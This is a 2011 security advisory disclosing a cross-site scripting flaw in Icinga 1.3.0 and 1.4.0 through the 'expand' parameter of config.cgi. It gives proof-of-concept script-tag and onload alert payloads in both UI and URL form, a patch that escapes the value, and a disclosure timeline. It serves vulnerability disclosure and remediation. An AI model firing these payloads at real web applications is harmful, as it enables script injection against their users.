Advisory: Cross-Site Scripting vulnerability in Icinga Advisory ID: SSCHADV2011-005
Author: Stefan Schurtz Affected Software: Successfully tested on: icinga-1.3.0 / icinga-1.4.0 Vendor URL: http://www.icinga.org Vendor Status: Resolved CVE-ID: - ========================== Vulnerability Description: ========================== This is a Cross-Site Scripting vulnerability ================== Technical Details: ================== No input validation for "expand" in config.c(gi) View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script> View Config -> Command Expansion -> To expand -> <body onload=alert(666)> or http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script> http://www.example.com/icinga/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)> ========= Solution: ========= in config.c < printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]); > printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD > CLASS='dataEven'>%s",escape_string(command_args[0])); This solution doesn't fix the whole problem - see https://dev.icinga.org/issues/1605#note-3 for more information ==================== Disclosure Timeline: ==================== 01-Jun-2011 - informed developers 01-Jun-2011 - Release date of this security advisory 01-Jun-2011 - fixed - Target version: 1.4.1 01-Jun-2011 - post on BugTraq and Full-disclosure ======== Credits: ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References: =========== http://www.icinga.org https://dev.icinga.org/issues/1605 http://www.rul3z.de/advisories/SSCHADV2011-005.txt
